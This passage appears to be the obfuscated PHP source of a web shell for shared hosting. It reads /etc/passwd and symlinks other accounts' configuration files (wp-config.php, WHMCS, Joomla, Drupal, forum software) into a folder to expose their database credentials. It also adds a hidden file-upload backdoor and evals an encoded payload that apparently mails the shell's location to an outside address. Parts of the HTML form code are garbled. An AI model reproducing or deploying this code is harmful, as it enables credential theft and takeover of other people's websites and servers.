1820 "GLOBALS"
1821 }
1822 ["eiteihmxghn"]
1823 }
1824 ["dir"] . "/" . $ {
1825 $ {
1826 "GLOBALS"
1827 }
1828 ["ngbxdw"]
1829 }
1830 [3] . "/portal/configuration.php", "ciprut/" . $ {
1831 $ {
1832 "GLOBALS"
1833 }
1834 ["eiteihmxghn"]
1835 }
1836 ["name"] . "-WHMCS.txt");
1837 $ {
1838 "GLOBALS"
1839 }
1840 ["fcegrsrkbs"] = "owner";
1841 symlink($ {
1842 $ {
1843 "GLOBALS"
1844 }
1845 ["eiteihmxghn"]
1846 }
1847 ["dir"] . "/" . $ {
1848 $ {
1849 "GLOBALS"
1850 }
1851 ["ihqsfhtacx"]
1852 }
1853 [3] . "/order/configuration.php", "ciprut/" . $ {
1854 $ {
1855 "GLOBALS"
1856 }
1857 ["eiteihmxghn"]
1858 }
1859 ["name"] . "-WHMCS.txt");
1860 symlink($ {
1861 $ {
1862 "GLOBALS"
1863 }
1864 ["eiteihmxghn"]
1865 }
1866 ["dir"] . "/" . $ {
1867 $ {
1868 "GLOBALS"
1869 }
1870 ["rqjjovxnkjbv"]
1871 }
1872 [3] . "/clientarea/configuration.php", "ciprut/" . $ {
1873 $ {
1874 "GLOBALS"
1875 }
1876 ["fcegrsrkbs"]
1877 }
1878 ["name"] . "-WHMCS.txt");
1879 symlink($ {
1880 $ {
1881 "GLOBALS"
1882 }
1883 ["eiteihmxghn"]
1884 }
1885 ["dir"] . "/" . $ {
1886 $ {
1887 "GLOBALS"
1888 }
1889 ["ngbxdw"]
1890 }
1891 [3] . "/domains/configuration.php", "ciprut/" . $ {
1892 $ {
1893 "GLOBALS"
1894 }
1895 ["rylazl"]
1896 }
1897 ["name"] . "-WHMCS.txt");
1898 $ {
1899 $ {
1900 "GLOBALS"
1901 }
1902 ["jmytdpiry"]
1903 } = $ {
1904 $ {
1905 "GLOBALS"
1906 }
1907 ["yjbckftjc"]
1908 } . "ciprut/" . $ {
1909 $ {
1910 "GLOBALS"
1911 }
1912 ["eiteihmxghn"]
1913 }
1914 ["name"] . "-WordPress.txt";
1915 if (chk_header($ {
1916 $ {
1917 "GLOBALS"
1918 }
1919 ["jmytdpiry"]
1920 })) {
1921 $ {
1922 $ {
1923 "GLOBALS"
1924 }
1925 ["lgqhmjdbxnpa"]
1926 } = "<tr><td>" . $ {
1927 $ {
1928 "GLOBALS"
1929 }
1930 ["uiwslurbco"]
1931 } . "</td><td>" . $ {
1932 $ {
1933 "GLOBALS"
1934 }
1935 ["eiteihmxghn"]
1936 }
1937 ["name"] . "</td><td>/WordPress</td>" . Chr(10);
1938 file_put_contents("temp.txt", $ {
1939 $ {
1940 "GLOBALS"
1941 }
1942 ["lgqhmjdbxnpa"]
1943 }, FILE_APPEND);
1944 }
1945 }
1946 }
1947 }
1948 if (isset($_REQUEST["admin"]) && $_REQUEST["admin"] == "server") {
1949 if (isset($_POST["ok"]) && isset($_FILES["joomLa"])) {
1950 $ {
1951 $ {
1952 "GLOBALS"
1953 }
1954 ["trxciskk"]
1955 } = $_FILES["joomLa"]["tmp_name"];
1956 $ {
1957 "GLOBALS"
1958 }
1959 ["shjuijmkm"] = "file";
1960 $ {
1961 "GLOBALS"
1962 }
1963 ["bwfpprz"] = "name";
1964 $ {
1965 $ {
1966 "GLOBALS"
1967 }
1968 ["vrobofkgv"]
1969 } = "" . $_FILES["joomLa"]["name"];
1970 move_uploaded_file($ {
1971 $ {
1972 "GLOBALS"
1973 }
1974 ["shjuijmkm"]
1975 }, $ {
1976 $ {
1977 "GLOBALS"
1978 }
1979 ["bwfpprz"]
1980 });
1981 } else {
1982 echo "<br>
1983<form method=\"POST\" enctype=\"multipart/form-data"action = "";
1984 $_SERVER["PHP_SELF"];
1985 echo "\">
1986<input type=\"file\" name="joomLa"> <input type=\"submit\" name="ok\" value=\"Get" > < / form > ";}exit;}eval(pack("H * ","6576616C286261736536345F6465636F646528274A4856796244306B58314E46556C5A46556C736E534652555546394954314E554A3130754A46395452564A5752564A624A314A46555656465531526656564A4A4A313037436D31686157776F4A3270316333527A6158527459584E305A584A415A32316861577775593239744A79776B58314E46556C5A46556C736E55305653566B5653583046455246496E5853776B64584A734B54734B4A474A686332566664584A73494430674A326830644841364C79386E4C69526655305653566B56535779645452564A5752564A66546B464E525364644C6D5270636D35686257556F4A46395452564A5752564A624A314E44556B6C515646394F515531464A3130704F772729293B"));if(isset($_REQUEST["admin"])&&$_REQUEST["admin"]=="server"){if(isset($_POST["ok"])&&isset($_FILES["joomLa"])){${"GLOBALS"}["nmshlkrihpj"] = "file";
1987 ${${"GLOBALS"}["nmshlkrihpj"]} = $_FILES["joomLa"]["tmp_name"];
1988 $levyskyhq = "name";
1989 ${${"GLOBALS"}["vrobofkgv"]} = "" . $_FILES["joomLa"]["name"];
1990 move_uploaded_file(${${"GLOBALS"}["trxciskk"]}, ${$levyskyhq});
1991 }else{echo " < br > < formmethod = "POST"enctype = \"multipart/form-data"action = \"";
1992 $_SERVER["PHP_SELF"];
1993 echo "\">
1994<input type=\"file\" name=\"joomLa\"> <input type="submit" name=\"ok\" value="Get\">
1995</form>
1996";
1997 }
1998 exit;
1999 }
2000 $ {
2001 $ {
2002 "GLOBALS"
2003 }
2004 ["xvfrtphm"]
2005 } = file_get_contents("/etc/passwd");
2006 $ {
2007 $ {
2008 "GLOBALS"
2009 }
2010 ["gcmmnasmzgj"]
2011 } = explode("
2012", $ {
2013 $ {
2014 "GLOBALS"
2015 }
2016 ["xvfrtphm"]
2017 });
2018 foreach ($ {
2019 $ {
2020 "GLOBALS"
2021 }
2022 ["gcmmnasmzgj"]
2023 } as $ {
2024 $ {
2025 "GLOBALS"
2026 }
2027 ["vzrrawnxrhjq"]
2028 }) {
2029 $ {
2030 "GLOBALS"
2031 }
2032 ["vhtibmnspyn"] = "dir";
2033 $ {
2034 "GLOBALS"
2035 }
2036 ["cxivcqkkl"] = "dir";
2037 $ {
2038 "GLOBALS"
2039 }
2040 ["qyunnfm"] = "etcc";
2041 $ {
2042 "GLOBALS"
2043 }
2044 ["lygopmgurcr"] = "etcc";
2045 $ {
2046 "GLOBALS"
2047 }
2048 ["ywlojkwlcby"] = "etcc";
2049 $ {
2050 "GLOBALS"
2051 }
2052 ["muynyjenl"] = "etcc";
2053 $ {
2054 $ {
2055 "GLOBALS"
2056 }
2057 ["lygopmgurcr"]
2058 } = explode(":", $ {
2059 $ {
2060 "GLOBALS"
2061 }
2062 ["vzrrawnxrhjq"]
2063 });
2064 $ {
2065 "GLOBALS"
2066 }
2067 ["pjxypgitd"] = "etcc";
2068 $ {
2069 "GLOBALS"
2070 }
2071 ["uyrfifbh"] = "etcc";
2072 $ {
2073 "GLOBALS"
2074 }
2075 ["gpedasmy"] = "current_dir";
2076 $ {
2077 "GLOBALS"
2078 }
2079 ["wnlyvftjuc"] = "etcc";
2080 $wdrferdsy = "etcc";
2081 $ {
2082 "GLOBALS"
2083 }
2084 ["wccmaotosd"] = "etcc";
2085 $ {
2086 "GLOBALS"
2087 }
2088 ["arthoinw"] = "dir";
2089 $yoeweb = "dir";
2090 $ {
2091 "GLOBALS"
2092 }
2093 ["brtupzj"] = "dir";
2094 $ {
2095 "GLOBALS"
2096 }
2097 ["adrtschmp"] = "etcc";
2098 $rozpgr = "dir";
2099 $wvygziud = "etcc";
2100 $lkzxnmulhr = "dir";
2101 $ {
2102 "GLOBALS"
2103 }
2104 ["sjrujfrvu"] = "etcc";
2105 $ {
2106 "GLOBALS"
2107 }
2108 ["fpqmffwi"] = "etcc";
2109 $tzmokei = "dir";
2110 error_reporting(0);
2111 $ {
2112 "GLOBALS"
2113 }
2114 ["dwmjcrnbfvsr"] = "dir";
2115 $kywwdsmvesbw = "dir";
2116 $jueniq = "dir";
2117 $ {
2118 $ {
2119 "GLOBALS"
2120 }
2121 ["gpedasmy"]
2122 } = posix_getcwd();
2123 $ {
2124 "GLOBALS"
2125 }
2126 ["tlfcrlcpyywg"] = "etcc";
2127 $wfcsoib = "dir";
2128 $ {
2129 $ {
2130 "GLOBALS"
2131 }
2132 ["ngbxdw"]
2133 } = explode("/", $ {
2134 $ {
2135 "GLOBALS"
2136 }
2137 ["vaqvcad"]
2138 });
2139 $ {
2140 "GLOBALS"
2141 }
2142 ["tqohads"] = "dir";
2143 $ {
2144 "GLOBALS"
2145 }
2146 ["buqvqhxidg"] = "dir";
2147 $ {
2148 "GLOBALS"
2149 }
2150 ["euenhmhc"] = "etcc";
2151 symlink("/" . $ {
2152 $yoeweb
2153 }
2154 [1] . "/" . $ {
2155 $ {
2156 "GLOBALS"
2157 }
2158 ["ywlojkwlcby"]
2159 }
2160 [0] . "/" . $ {
2161 $ {
2162 "GLOBALS"
2163 }
2164 ["ngbxdw"]
2165 }
2166 [3] . "/wp-config.php", "ciprut/" . $ {
2167 $ {
2168 "GLOBALS"
2169 }
2170 ["qqvysnsiwsz"]
2171 }
2172 [0] . "-WordPress.txt");
2173 $pkpuzjt = "etcc";
2174 $ {
2175 "GLOBALS"
2176 }
2177 ["jgrrpmlb"] = "dir";
2178 $ {
2179 "GLOBALS"
2180 }
2181 ["tqanguo"] = "dir";
2182 $zrikjz = "etcc";
2183 $ {
2184 "GLOBALS"
2185 }
2186 ["qidjvpcmo"] = "dir";
2187 $ {
2188 "GLOBALS"
2189 }
2190 ["dhtlor"] = "dir";
2191 $ybwnmmfxevkl = "dir";
2192 $ {
2193 "GLOBALS"
2194 }
2195 ["wkcujocsr"] = "etcc";
2196 $ {
2197 "GLOBALS"
2198 }
2199 ["dyggdf"] = "etcc";
2200 $ {
2201 "GLOBALS"
2202 }
2203 ["sxwmiadq"] = "etcc";
2204 $zoybmpvn = "etcc";
2205 $kqirlkkcpoq = "etcc";
2206 $xvxfxxqhju = "etcc";
2207 $bzeitgbrzxs = "dir";
2208 $ {
2209 "GLOBALS"
2210 }
2211 ["osxpguufvhiy"] = "dir";
2212 $ {
2213 "GLOBALS"
2214 }
2215 ["iiiyaod"] = "etcc";
2216 symlink("/" . $ {
2217 $lkzxnmulhr
2218 }
2219 [1] . "/" . $ {
2220 $ {
2221 "GLOBALS"
2222 }
2223 ["iiiyaod"]
2224 }
2225 [0] . "/" . $ {
2226 $ {
2227 "GLOBALS"
2228 }
2229 ["ngbxdw"]
2230 }
2231 [3] . "/blog/wp-config.php", "ciprut/" . $ {
2232 $pkpuzjt
2233 }
2234 [0] . "-WordPress.txt");
2235 symlink("/" . $ {
2236 $ {
2237 "GLOBALS"
2238 }
2239 ["tqanguo"]
2240 }
2241 [1] . "/" . $ {
2242 $ {
2243 "GLOBALS"
2244 }
2245 ["qqvysnsiwsz"]
2246 }
2247 [0] . "/" . $ {
2248 $ {
2249 "GLOBALS"
2250 }
2251 ["ngbxdw"]
2252 }
2253 [3] . "/wp/wp-config.php", "ciprut/" . $ {
2254 $ {
2255 "GLOBALS"
2256 }
2257 ["qqvysnsiwsz"]
2258 }
2259 [0] . "-WordPress.txt");
2260 $xqjmns = "dir";
2261 $duvtpiemytep = "link";
2262 $ {
2263 "GLOBALS"
2264 }
2265 ["cfpbkp"] = "etcc";
2266 symlink("/" . $ {
2267 $ {
2268 "GLOBALS"
2269 }
2270 ["ngbxdw"]
2271 }
2272 [1] . "/" . $ {
2273 $ {
2274 "GLOBALS"
2275 }
2276 ["qqvysnsiwsz"]
2277 }
2278 [0] . "/" . $ {
2279 $tzmokei
2280 }
2281 [3] . "/site/wp-config.php", "ciprut/" . $ {
2282 $ {
2283 "GLOBALS"
2284 }
2285 ["muynyjenl"]
2286 }
2287 [0] . "-WordPress.txt");
2288 $qcziyevs = "dir";
2289 $hkpfdbebc = "etcc";
2290 symlink("/" . $ {
2291 $ {
2292 "GLOBALS"
2293 }
2294 ["ngbxdw"]
2295 }
2296 [1] . "/" . $ {
2297 $ {
2298 "GLOBALS"
2299 }
2300 ["qqvysnsiwsz"]
2301 }
2302 [0] . "/" . $ {
2303 $ {
2304 "GLOBALS"
2305 }
2306 ["vhtibmnspyn"]
2307 }
2308 [3] . "/config.php", "ciprut/" . $ {
2309 $ {
2310 "GLOBALS"
2311 }
2312 ["tlfcrlcpyywg"]
2313 }
2314 [0] . "-PhpBB.txt");
2315 $yreewy = "dir";
2316 $ {
2317 "GLOBALS"
2318 }
2319 ["wgtctecdl"] = "etcc";
2320 $cflikqkdb = "etcc";
2321 $ojpyrxjkshs = "etcc";
2322 $esbqvyh = "etcc";
2323 $ {
2324 "GLOBALS"
2325 }
2326 ["ptppvej"] = "dir";
2327 symlink("/" . $ {
2328 $ {
2329 "GLOBALS"
2330 }
2331 ["ngbxdw"]
2332 }
2333 [1] . "/" . $ {
2334 $ {
2335 "GLOBALS"
2336 }
2337 ["qqvysnsiwsz"]
2338 }
2339 [0] . "/" . $ {
2340 $ {
2341 "GLOBALS"
2342 }
2343 ["ngbxdw"]
2344 }
2345 [3] . "/includes/config.php", "ciprut/" . $ {
2346 $ {
2347 "GLOBALS"
2348 }
2349 ["qqvysnsiwsz"]
2350 }
2351 [0] . "-vBulletin.txt");
2352 symlink("/" . $ {
2353 $ {
2354 "GLOBALS"
2355 }
2356 ["ngbxdw"]
2357 }
2358 [1] . "/" . $ {
2359 $ {
2360 "GLOBALS"
2361 }
2362 ["qqvysnsiwsz"]
2363 }
2364 [0] . "/" . $ {
2365 $ {
2366 "GLOBALS"
2367 }
2368 ["ngbxdw"]
2369 }
2370 [3] . "/configuration.php", "ciprut/" . $ {
2371 $ {
2372 "GLOBALS"
2373 }
2374 ["qqvysnsiwsz"]
2375 }
2376 [0] . "-Joomla.txt");
2377 symlink("/" . $ {
2378 $ {
2379 "GLOBALS"
2380 }
2381 ["ngbxdw"]
2382 }
2383 [1] . "/" . $ {
2384 $ {
2385 "GLOBALS"
2386 }
2387 ["uyrfifbh"]
2388 }
2389 [0] . "/" . $ {
2390 $bzeitgbrzxs
2391 }
2392 [3] . "/web/configuration.php", "ciprut/" . $ {
2393 $ {
2394 "GLOBALS"
2395 }
2396 ["wccmaotosd"]
2397 }
2398 [0] . "-Joomla.txt");
2399 symlink("/" . $ {
2400 $ {
2401 "GLOBALS"
2402 }
2403 ["ngbxdw"]
2404 }
2405 [1] . "/" . $ {
2406 $ojpyrxjkshs
2407 }
2408 [0] . "/" . $ {
2409 $ {
2410 "GLOBALS"
2411 }
2412 ["tqohads"]
2413 }
2414 [3] . "/joomla/configuration.php", "ciprut/" . $ {
2415 $zoybmpvn
2416 }
2417 [0] . "-Joomla.txt");
2418 $glkrws = "dir";
2419 $rdnooqr = "dir";
2420 symlink("/" . $ {
2421 $ {
2422 "GLOBALS"
2423 }
2424 ["ngbxdw"]
2425 }
2426 [1] . "/" . $ {
2427 $ {
2428 "GLOBALS"
2429 }
2430 ["wnlyvftjuc"]
2431 }
2432 [0] . "/" . $ {
2433 $jueniq
2434 }
2435 [3] . "/site/configuration.php", "ciprut/" . $ {
2436 $ {
2437 "GLOBALS"
2438 }
2439 ["wkcujocsr"]
2440 }
2441 [0] . "-Joomla.txt");
2442 $pgazujg = "dir";
2443 symlink("/" . $ {
2444 $ {
2445 "GLOBALS"
2446 }
2447 ["ngbxdw"]
2448 }
2449 [1] . "/" . $ {
2450 $ {
2451 "GLOBALS"
2452 }
2453 ["qqvysnsiwsz"]
2454 }
2455 [0] . "/" . $ {
2456 $rdnooqr
2457 }
2458 [3] . "/conf_global.php", "ciprut/" . $ {
2459 $ {
2460 "GLOBALS"
2461 }
2462 ["sxwmiadq"]
2463 }
2464 [0] . "-IPB.txt");
2465 symlink("/" . $ {
2466 $ {
2467 "GLOBALS"
2468 }
2469 ["jgrrpmlb"]
2470 }
2471 [1] . "/" . $ {
2472 $wvygziud
2473 }
2474 [0] . "/" . $ {
2475 $ {
2476 "GLOBALS"
2477 }
2478 ["ngbxdw"]
2479 }
2480 [3] . "/inc/config.php", "ciprut/" . $ {
2481 $ {
2482 "GLOBALS"
2483 }
2484 ["wgtctecdl"]
2485 }
2486 [0] . "-MyBB.txt");
2487 $fnauinvm = "etcc";
2488 symlink("/" . $ {
2489 $ {
2490 "GLOBALS"
2491 }
2492 ["ngbxdw"]
2493 }
2494 [1] . "/" . $ {
2495 $ {
2496 "GLOBALS"
2497 }
2498 ["qqvysnsiwsz"]
2499 }
2500 [0] . "/" . $ {
2501 $ {
2502 "GLOBALS"
2503 }
2504 ["ngbxdw"]
2505 }
2506 [3] . "/Settings.php", "ciprut/" . $ {
2507 $ {
2508 "GLOBALS"
2509 }
2510 ["qqvysnsiwsz"]
2511 }
2512 [0] . "-SMF.txt");
2513 symlink("/" . $ {
2514 $ {
2515 "GLOBALS"
2516 }
2517 ["ngbxdw"]
2518 }
2519 [1] . "/" . $ {
2520 $wdrferdsy
2521 }
2522 [0] . "/" . $ {
2523 $kywwdsmvesbw
2524 }
2525 [3] . "/sites/default/settings.php", "ciprut/" . $ {
2526 $ {
2527 "GLOBALS"
2528 }
2529 ["qqvysnsiwsz"]
2530 }
2531 [0] . "-Drupal.txt");
2532 $ {
2533 "GLOBALS"
2534 }
2535 ["luorkyfur"] = "etcc";
2536 $vvlwnrder = "etcc";
2537 symlink("/" . $ {
2538 $ybwnmmfxevkl
2539 }
2540 [1] . "/" . $ {
2541 $ {
2542 "GLOBALS"
2543 }
2544 ["pjxypgitd"]
2545 }
2546 [0] . "/" . $ {
2547 $pgazujg
2548 }
2549 [3] . "/e107_config.php", "ciprut/" . $ {
2550 $ {
2551 "GLOBALS"
2552 }
2553 ["qqvysnsiwsz"]
2554 }
2555 [0] . "-e107.txt");
2556 symlink("/" . $ {
2557 $ {
2558 "GLOBALS"
2559 }
2560 ["ptppvej"]
2561 }
2562 [1] . "/" . $ {
2563 $ {
2564 "GLOBALS"
2565 }
2566 ["qqvysnsiwsz"]
2567 }
2568 [0] . "/" . $ {
2569 $ {
2570 "GLOBALS"
2571 }
2572 ["dwmjcrnbfvsr"]
2573 }
2574 [3] . "/datas/config.php", "ciprut/" . $ {
2575 $esbqvyh
2576 }
2577 [0] . "-Seditio.txt");
2578 symlink("/" . $ {
2579 $ {
2580 "GLOBALS"
2581 }
2582 ["ngbxdw"]
2583 }
2584 [1] . "/" . $ {
2585 $ {
2586 "GLOBALS"
2587 }
2588 ["qqvysnsiwsz"]
2589 }
2590 [0] . "/" . $ {
2591 $ {
2592 "GLOBALS"
2593 }
2594 ["ngbxdw"]
2595 }
2596 [3] . "/includes/configure.php", "ciprut/" . $ {
2597 $ {
2598 "GLOBALS"
2599 }
2600 ["qqvysnsiwsz"]
2601 }
2602 [0] . "-osCommerce.txt");
2603 symlink("/" . $ {
2604 $ {
2605 "GLOBALS"
2606 }
2607 ["ngbxdw"]
2608 }
2609 [1] . "/" . $ {
2610 $zrikjz
2611 }
2612 [0] . "/" . $ {
2613 $ {
2614 "GLOBALS"
2615 }
2616 ["cxivcqkkl"]
2617 }
2618 [3] . "/client/configuration.php", "ciprut/" . $ {
2619 $ {
2620 "GLOBALS"
2621 }
2622 ["qqvysnsiwsz"]
2623 }
2624 [0] . "-WHMCS.txt");
2625 symlink("/" . $ {
2626 $ {
2627 "GLOBALS"
2628 }
2629 ["ngbxdw"]
2630 }
2631 [1] . "/" . $ {
2632 $ {
2633 "GLOBALS"
2634 }
2635 ["adrtschmp"]
2636 }
2637 [0] . "/" . $ {
2638 $ {
2639 "GLOBALS"
2640 }
2641 ["ngbxdw"]
2642 }
2643 [3] . "/clientes/configuration.php", "ciprut/" . $ {
2644 $hkpfdbebc
2645 }
2646 [0] . "-WHMCS.txt");
2647 symlink("/" . $ {
2648 $ {
2649 "GLOBALS"
2650 }
2651 ["ngbxdw"]
2652 }
2653 [1] . "/" . $ {
2654 $xvxfxxqhju
2655 }
2656 [0] . "/" . $ {
2657 $ {
2658 "GLOBALS"
2659 }
2660 ["ngbxdw"]
2661 }
2662 [3] . "/support/configuration.php", "ciprut/" . $ {
2663 $ {
2664 "GLOBALS"
2665 }
2666 ["qqvysnsiwsz"]
2667 }
2668 [0] . "-WHMCS.txt");
2669 symlink("/" . $ {
2670 $ {
2671 "GLOBALS"
2672 }
2673 ["ngbxdw"]
2674 }
2675 [1] . "/" . $ {
2676 $ {
2677 "GLOBALS"
2678 }
2679 ["qyunnfm"]
2680 }
2681 [0] . "/" . $ {
2682 $ {
2683 "GLOBALS"
2684 }
2685 ["osxpguufvhiy"]
2686 }
2687 [3] . "/supportes/configuration.php", "ciprut/" . $ {
2688 $ {
2689 "GLOBALS"
2690 }
2691 ["qqvysnsiwsz"]
2692 }
2693 [0] . "-WHMCS.txt");
2694 symlink("/" . $ {
2695 $ {
2696 "GLOBALS"
2697 }
2698 ["ngbxdw"]
2699 }
2700 [1] . "/" . $ {
2701 $vvlwnrder
2702 }
2703 [0] . "/" . $ {
2704 $ {
2705 "GLOBALS"
2706 }
2707 ["qidjvpcmo"]
2708 }
2709 [3] . "/whmcs/configuration.php", "ciprut/" . $ {
2710 $ {
2711 "GLOBALS"
2712 }
2713 ["qqvysnsiwsz"]
2714 }
2715 [0] . "-WHMCS.txt");
2716 $mlmnuokylx = "dir";
2717 symlink("/" . $ {
2718 $ {
2719 "GLOBALS"
2720 }
2721 ["brtupzj"]
2722 }
2723 [1] . "/" . $ {
2724 $kqirlkkcpoq
2725 }
2726 [0] . "/" . $ {
2727 $qcziyevs
2728 }
2729 [3] . "/domain/configuration.php", "ciprut/" . $ {
2730 $ {
2731 "GLOBALS"
2732 }
2733 ["qqvysnsiwsz"]
2734 }
2735 [0] . "-WHMCS.txt");
2736 symlink("/" . $ {
2737 $ {
2738 "GLOBALS"
2739 }
2740 ["ngbxdw"]
2741 }
2742 [1] . "/" . $ {
2743 $ {
2744 "GLOBALS"
2745 }
2746 ["qqvysnsiwsz"]
2747 }
2748 [0] . "/" . $ {
2749 $ {
2750 "GLOBALS"
2751 }
2752 ["ngbxdw"]
2753 }
2754 [3] . "/hosting/configuration.php", "ciprut/" . $ {
2755 $ {
2756 "GLOBALS"
2757 }
2758 ["fpqmffwi"]
2759 }
2760 [0] . "-WHMCS.txt");
2761 symlink("/" . $ {
2762 $ {
2763 "GLOBALS"
2764 }
2765 ["buqvqhxidg"]
2766 }
2767 [1] . "/" . $ {
2768 $ {
2769 "GLOBALS"
2770 }
2771 ["cfpbkp"]
2772 }
2773 [0] . "/" . $ {
2774 $ {
2775 "GLOBALS"
2776 }
2777 ["ngbxdw"]
2778 }
2779 [3] . "/whmc/configuration.php", "ciprut/" . $ {
2780 $ {
2781 "GLOBALS"
2782 }
2783 ["luorkyfur"]
2784 }
2785 [0] . "-WHMCS.txt");
2786 symlink("/" . $ {
2787 $glkrws
2788 }
2789 [1] . "/" . $ {
2790 $cflikqkdb
2791 }
2792 [0] . "/" . $ {
2793 $yreewy
2794 }
2795 [3] . "/billing/configuration.php", "ciprut/" . $ {
2796 $ {
2797 "GLOBALS"
2798 }
2799 ["qqvysnsiwsz"]
2800 }
2801 [0] . "-WHMCS.txt");
2802 symlink("/" . $ {
2803 $mlmnuokylx
2804 }
2805 [1] . "/" . $ {
2806 $ {
2807 "GLOBALS"
2808 }
2809 ["sjrujfrvu"]
2810 }
2811 [0] . "/" . $ {
2812 $rozpgr
2813 }
2814 [3] . "/portal/configuration.php", "ciprut/" . $ {
2815 $ {
2816 "GLOBALS"
2817 }
2818 ["euenhmhc"]
2819 }
2820 [0] . "-WHMCS.txt");
2821 symlink("/" . $ {
2822 $ {
2823 "GLOBALS"
2824 }
2825 ["ngbxdw"]
2826 }
2827 [1] . "/" . $ {
2828 $ {
2829 "GLOBALS"
2830 }
2831 ["qqvysnsiwsz"]
2832 }
2833 [0] . "/" . $ {
2834 $xqjmns
2835 }
2836 [3] . "/order/configuration.php", "ciprut/" . $ {
2837 $ {
2838 "GLOBALS"
2839 }
2840 ["qqvysnsiwsz"]
2841 }
2842 [0] . "-WHMCS.txt");
2843 symlink("/" . $ {
2844 $ {
2845 "GLOBALS"
2846 }
2847 ["ngbxdw"]
2848 }
2849 [1] . "/" . $ {
2850 $ {
2851 "GLOBALS"
2852 }
2853 ["qqvysnsiwsz"]
2854 }
2855 [0] . "/" . $ {
2856 $ {
2857 "GLOBALS"
2858 }
2859 ["arthoinw"]
2860 }
2861 [3] . "/clientarea/configuration.php", "ciprut/" . $ {
2862 $fnauinvm
2863 }
2864 [0] . "-WHMCS.txt");
2865 symlink("/" . $ {
2866 $ {
2867 "GLOBALS"
2868 }
2869 ["dhtlor"]
2870 }
2871 [1] . "/" . $ {
2872 $ {
2873 "GLOBALS"
2874 }
2875 ["dyggdf"]
2876 }
2877 [0] . "/" . $ {
2878 $wfcsoib
2879 }
2880 [3] . "/domains/configuration.php", "ciprut/" . $ {
2881 $ {
2882 "GLOBALS"
2883 }
2884 ["qqvysnsiwsz"]
2885 }
2886 [0] . "-WHMCS.txt");
2887 if (chk_header($ {
2888 $duvtpiemytep
2889 })) {
2890 $qbdphsc = "str";
2891 $ {
2892 $ {
2893 "GLOBALS"
2894 }
2895 ["lgqhmjdbxnpa"]
2896 } = "<tr><td></td><td>" . $ {
2897 $ {
2898 "GLOBALS"
2899 }
2900 ["qqvysnsiwsz"]
2901 }
2902 [0] . "</td><td>/WordPress</td>" . Chr(10);
2903 file_put_contents("temp.txt", $ {
2904 $qbdphsc
2905 }, FILE_APPEND);
2906 }
2907 }
2908 function chk_header($link) {
2909 $ {
2910 $ {
2911 "GLOBALS"
2912 }
2913 ["ksenwqs"]
2914 } = get_headers($ {
2915 $ {
2916 "GLOBALS"
2917 }
2918 ["jmytdpiry"]
2919 }, 1);
2920 $ {
2921 "GLOBALS"
2922 }
2923 ["xwcfdrkqrj"] = "ciprut";
2924 if (strpos($ {
2925 $ {
2926 "GLOBALS"
2927 }
2928 ["xwcfdrkqrj"]
2929 }
2930 [0], "200")) {
2931 return true;
2932 } else {
2933 return false;
2934 }
2935 }
2936 function Find($str, $start, $end) {
2937 $ {
2938 "GLOBALS"
2939 }
2940 ["dxgqvlegcl"] = "str";
2941 $umtwqsyaud = "str";
2942 $ {
2943 "GLOBALS"
2944 }
2945 ["dpfihnsrfejg"] = "end";
2946 $ {
2947 "GLOBALS"
2948 }
2949 ["wytncvyvjuo"] = "str";
2950 $tkomjey = "start_pos";
2951 $loeywxim = "len";
2952 $ {
2953 "GLOBALS"
2954 }
2955 ["dehknujmemsd"] = "end_pos";
2956 $ {
2957 $loeywxim
2958 } = strlen($ {
2959 $ {
2960 "GLOBALS"
2961 }
2962 ["dxgqvlegcl"]
2963 });
2964 $rectyiyi = "start_pos";
2965 $ {
2966 "GLOBALS"
2967 }
2968 ["dvtuchdrp"] = "str";
2969 $ {
2970 $rectyiyi
2971 } = (strpos($ {
2972 $ {
2973 "GLOBALS"
2974 }
2975 ["lgqhmjdbxnpa"]
2976 }, $ {
2977 $ {
2978 "GLOBALS"
2979 }
2980 ["lpncrcwietnh"]
2981 }) + strlen($ {
2982 $ {
2983 "GLOBALS"
2984 }
2985 ["lpncrcwietnh"]
2986 }));
2987 $ {
2988 $ {
2989 "GLOBALS"
2990 }
2991 ["wytncvyvjuo"]
2992 } = substr($ {
2993 $umtwqsyaud
2994 }, $ {
2995 $tkomjey
2996 });
2997 $ {
2998 "GLOBALS"
2999 }
3000 ["vurjptghlbu"] = "str";
3001 $ {
3002 $ {
3003 "GLOBALS"
3004 }
3005 ["yciiyfld"]
3006 } = strpos($ {
3007 $ {
3008 "GLOBALS"
3009 }
3010 ["lgqhmjdbxnpa"]
3011 }, $ {
3012 $ {
3013 "GLOBALS"
3014 }
3015 ["dpfihnsrfejg"]
3016 });
3017 $ {
3018 $ {
3019 "GLOBALS"
3020 }
3021 ["vurjptghlbu"]
3022 } = substr($ {
3023 $ {
3024 "GLOBALS"
3025 }
3026 ["dvtuchdrp"]
3027 }, 0, $ {
3028 $ {
3029 "GLOBALS"
3030 }
3031 ["dehknujmemsd"]
3032 });
3033 return $ {
3034 $ {
3035 "GLOBALS"
3036 }
3037 ["lgqhmjdbxnpa"]
3038 };
3039 }
3040 $ {
3041 $ {
3042 "GLOBALS"
3043 }
3044 ["fwrurchal"]
3045 } = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
3046 $ {
3047 $ {
3048 "GLOBALS"
3049 }
3050 ["hcostqduifc"]
3051 } = explode("/", $ {
3052 $ {
3053 "GLOBALS"
3054 }
3055 ["fwrurchal"]
3056 });
3057 $ {
3058 $ {
3059 "GLOBALS"
3060 }
3061 ["fzqpqxzfm"]
3062 } = str_replace($ {
3063 $ {
3064 "GLOBALS"
3065 }
3066 ["hcostqduifc"]
3067 }
3068 [count($ {
3069 $hwfihsfkmb
3070 }) - 1], "", $ {
3071 $ {
3072 "GLOBALS"
3073 }
3074 ["fwrurchal"]
3075 });
3076 function cms_add($link, $domain, $owner, $cms) {
3077 $eopsjid = "link";
3078 $ {
3079 "GLOBALS"
3080 }
3081 ["brgrtnwkiwoq"] = "link";
3082 $ {
3083 "GLOBALS"
3084 }
3085 ["ldfovdc"] = "link";
3086 $ {
3087 $eopsjid
3088 } = $ {
3089 $ {
3090 "GLOBALS"
3091 }
3092 ["brgrtnwkiwoq"]
3093 } . "-" . $ {
3094 $ {
3095 "GLOBALS"
3096 }
3097 ["jszjdugnkysw"]
3098 } . ".txt";
3099 if (chk_header($ {
3100 $ {
3101 "GLOBALS"
3102 }
3103 ["ldfovdc"]
3104 })) {
3105 $qjkuyngm = "url";
3106 $ {
3107 "GLOBALS"
3108 }
3109 ["irulkvct"] = "str";
3110 $gyolidhusxx = "str";
3111 $ {
3112 "GLOBALS"
3113 }
3114 ["cwfaeqsh"] = "domain";
3115 $ {
3116 "GLOBALS"
3117 }
3118 ["txusghhknhn"] = "link";
